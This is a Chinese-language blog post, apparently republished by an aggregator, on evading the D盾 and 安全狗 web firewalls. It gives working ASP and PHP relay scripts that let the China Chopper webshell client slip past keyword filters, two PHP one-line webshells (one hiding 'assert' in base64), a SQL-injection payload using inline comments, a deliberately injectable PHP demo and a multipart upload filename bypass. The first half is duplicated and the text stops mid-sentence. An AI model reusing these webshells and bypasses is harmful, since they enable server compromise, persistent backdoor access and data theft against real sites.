绕过D盾安全狗连接菜刀
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了绕过D盾安全狗连接菜刀相关的知识,希望对你有一定的参考价值。
0x00 各种奇葩符号 现在基本上没啥用了,毕竟几年前的小玩意儿 /;.xxx.asp;.jpg /;00.asp/00.jpg 像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下
0x02## 中转(1),抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字 code:
<% JmStr=Replace(Request.Form,"$_POST","$_REQUEST") JmStr=Replace(JmStr,"->|","-->|") JmStr=Replace(JmStr,"@eval(","@eval (") JmStr=Replace(JmStr,"System.Convert.FromBase64String","System.Convert. FromBase64String") JMUrl=request("dz") response.write request("dz") JmRef=JMUrl JmCok="" response.write PostData(JMUrl,JmStr,JmCok,JmRef) Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "POST",PostUrl,False .SetRequestHeader "Content-Length",Len(PostStr) .SetRequestHeader "Content-Type","application/x-www-form-urlencoded" .SetRequestHeader "Referer",PostRef ‘.SetRequestHeader "Cookie",PostCok .Send PostStr PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) strReturn="" Dim i For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) \&HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next strReturn=Replace(strReturn,chr(32),"%20") ‘转换空格,如果网站过滤了空格,尝试用/**/来代替%20 strReturn=Replace(strReturn,chr(43),"%2B") ‘JMDCW增加转换+字符 ‘strReturn=Replace(strReturn,过滤字符,"转换为字符") ‘在此增加要过滤的代码 URLEncoding=strReturn End Function %>
用法:
1.将这个脚本拿到可执行的.asp目录
2.访问 http://www.sec.com/demo.asp?dz="要过的shell地址“
3.把地址输入菜刀,密码就是你设置的shell密码,类型还选一句话后缀
例如:http://www.sec.com/demo.asp?dz=http://www.sec.com/yijuhua.php 密码
4.这个脚本暂时支持.php .aspx的一句话连接 .asp的不能用
0x02## 中转(2) 若果上面脚本失效,可以使用这个
<?php $webshell="http://www.70sec.com/70sec.php";//把这里改成你的shell地址 $webshell=$webshell."?&1141056911=base64_decode"; $da=$_POST; $data = $da; @$data=str_replace("base64_decode(",‘$_GET[1141056911](‘,$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911]( //print_r($data); $data = http_build_query($data); $opts = array ( ‘http‘ => array ( ‘method‘ => ‘POST‘, ‘header‘=> "Content-type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($data) . "\r\n", ‘content‘ => $data) ); $context = stream_context_create($opts); $html = @file_get_contents($webshell, false, $context); //发送post echo $html; ?>
小马的话你可以把这两个丢进去:
<?php $a=$_GET[‘a‘];$a($_POST[‘cmd‘]);?> <?php $x=base64_decode("YXNzZXJ0");$x($_POST[‘c‘]);?>;
用法:
1.把$webshell改成你的webshell地址
2.把代码保存为1234.php放到你本地的php环境里 然后直接丢菜刀连接
菜刀
0x00 各种奇葩符号
现在基本上没啥用了,毕竟几年前的小玩意儿
/;.xxx.asp;.jpg
/;00.asp/00.jpg
像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下
0x02## 中转(1),抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字
code:
01 |
<% |
02 |
JmStr=Replace(Request.Form, "$_POST" , "$_REQUEST" ) |
03 |
JmStr=Replace(JmStr, "->|" , "-->|" ) |
04 |
JmStr=Replace(JmStr, "@eval(" , "@eval (" ) |
05 |
JmStr=Replace(JmStr, "System.Convert.FromBase64String" , "System.Convert. FromBase64String" ) |
06 |
JMUrl=request( "dz" ) |
07 |
response.write request( "dz" ) |
08 |
JmRef=JMUrl |
09 |
JmCok= "" |
10 |
response.write PostData(JMUrl,JmStr,JmCok,JmRef) |
11 |
Function PostData(PostUrl,PostStr,PostCok,PostRef) |
12 |
Dim Http |
13 |
Set Http = Server.CreateObject( "msxml2.serverXMLHTTP" ) |
14 |
With Http |
15 |
.Open "POST" ,PostUrl, False |
16 |
.SetRequestHeader "Content-Length" ,Len(PostStr) |
17 |
.SetRequestHeader "Content-Type" , "application/x-www-form-urlencoded" |
18 |
.SetRequestHeader "Referer" ,PostRef |
19 |
‘.SetRequestHeader "Cookie",PostCok |
20 |
.Send PostStr |
21 |
PostData = .ResponseBody |
22 |
End With |
23 |
Set Http = Nothing |
24 |
PostData =bytes2BSTR(PostData) |
25 |
End Function |
26 |
Function bytes2BSTR(vIn) |
27 |
Dim strReturn |
28 |
Dim I, ThisCharCode, NextCharCode |
29 |
strReturn = "" |
30 |
For I = 1 To LenB(vIn) |
31 |
ThisCharCode = AscB(MidB(vIn, I, 1)) |
32 |
If ThisCharCode < &H80 Then |
33 |
strReturn = strReturn & Chr(ThisCharCode) |
34 |
Else |
35 |
NextCharCode = AscB(MidB(vIn, I + 1, 1)) |
36 |
strReturn = strReturn & Chr( CLng (ThisCharCode) * &H100 + CInt (NextCharCode)) |
37 |
I = I + 1 |
38 |
End If |
39 |
Next |
40 |
bytes2BSTR = strReturn |
41 |
End Function |
42 |
Function URLEncoding(vstrin) |
43 |
strReturn= "" |
44 |
Dim i |
45 |
For i=1 To Len(vstrin) |
46 |
ThisChr=Mid(vstrin,i,1) |
47 |
if Abs(Asc(ThisChr))< &HFF Then |
48 |
strReturn=strReturn & ThisChr |
49 |
Else |
50 |
InnerCode=Asc(ThisChr) |
51 |
If InnerCode<0 Then |
52 |
InnerCode=InnerCode + &H10000 |
53 |
End If |
54 |
Hight1=(InnerCode And &HFF00) \&HFF |
55 |
Low1=InnerCode And &HFF |
56 |
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) |
57 |
End if |
58 |
Next |
59 |
strReturn=Replace(strReturn,chr(32), "%20" ) ‘转换空格,如果网站过滤了空格,尝试用/**/来代替%20 |
60 |
strReturn=Replace(strReturn,chr(43), "%2B" ) ‘JMDCW增加转换+字符 |
61 |
‘strReturn=Replace(strReturn,过滤字符,"转换为字符") ‘在此增加要过滤的代码 |
62 |
URLEncoding=strReturn |
63 |
End Function |
64 |
%> |
用法:
1.将这个脚本拿到可执行的.asp目录
2.访问 http://www.sec.com/demo.asp?dz="要过的shell地址“
3.把地址输入菜刀,密码就是你设置的shell密码,类型还选一句话后缀
例如:http://www.sec.com/demo.asp?dz=http://www.sec.com/yijuhua.php 密码
4.这个脚本暂时支持.php .aspx的一句话连接 .asp的不能用
0x02## 中转(2) 若果上面脚本失效,可以使用这个
01 |
<?php |
02 |
$webshell = "http://www.70sec.com/70sec.php" ;//把这里改成你的shell地址 |
03 |
$webshell = $webshell . "?&1141056911=base64_decode" ; |
04 |
$da = $_POST ; |
05 |
$data = $da ; |
06 |
@ $data = str_replace ( "base64_decode(" , ‘$_GET[1141056911](‘ , $data ); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911]( |
07 |
//print_r($data); |
08 |
$data = http_build_query( $data ); |
09 |
$opts = array ( |
10 |
‘http‘ => array ( |
11 |
‘method‘ => ‘POST‘ , |
12 |
‘header‘ => "Content-type: application/x-www-form-urlencoded\r\n" . |
13 |
"Content-Length: " . strlen ( $data ) . "\r\n" , |
14 |
‘content‘ => $data ) |
15 |
); |
16 |
$context = stream_context_create( $opts ); |
17 |
$html = @ file_get_contents ( $webshell , false, $context ); //发送post |
18 |
echo $html ; |
19 |
?> |
小马的话你可以把这两个丢进去:
1 |
<?php $a = $_GET [ ‘a‘ ]; $a ( $_POST [ ‘cmd‘ ]);?> |
2 |
<?php $x = base64_decode ( "YXNzZXJ0" ); $x ( $_POST [ ‘c‘ ]);?>; |
用法:
1.把$webshell改成你的webshell地址
2.把代码保存为1234.php放到你本地的php环境里 然后直接丢菜刀连接
菜刀
0x03## 伪装user-agent
网上工具有很多,你可以随便找一个用,firfox也是比较强大的,我用的是铁鹰兄的WAF绕过神器来做试验的,地址放在下面
首先假设一个代理,ie设置之后,那么ie的流量就从这个端口过。
指定域名,也就是只正对目标站修改user-agent,减少工作量。
get改为post好像是过智创waf的吧。
0x04## 复参数绕过
比如一个请求是这样的
GET http://www.sec.com/pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET http://www.sec.com/pen/news.php?id=1&;;id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,目前安全狗的话可以绕过一丢丢语句
0x05## 番外篇 SQL注入绕过
ok,首先来一发demo存在SQL注入漏洞的php
01 |
<? |
02 |
$uid = $_REQUEST [ ‘id‘ ]; |
03 |
if (! $conn = @mysql_connect( "localhost" , "root" , "123456" )) |
04 |
die ( ‘<font size=+1>An Error Occured</font><hr>unable to connect to the database.‘ ); |
05 |
if ([email protected]_select_db( "supe" , $conn )) |
06 |
die ( "<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server." ); |
07 |
$text = "select * from supe_members where uid=" . $uid ; |
08 |
$rs = mysql_query ( $text , $conn ); |
09 |
while ( $rom = mysql_fetch_array( $rs )) |
10 |
{ |
11 |
echo $rom [ "username" ]; |
12 |
} |
13 |
?> |
因为用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:
测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/*/是不行的,安全狗也防了这块。但是对内联注释/!and*/这种不知道为什么安全狗没有拦截。 我用下面的语句居然成功绕过SQL注入过滤: http://www.sec.com/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17 0x05## 番外篇 上传绕过 我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。经过了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。原因是安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是i |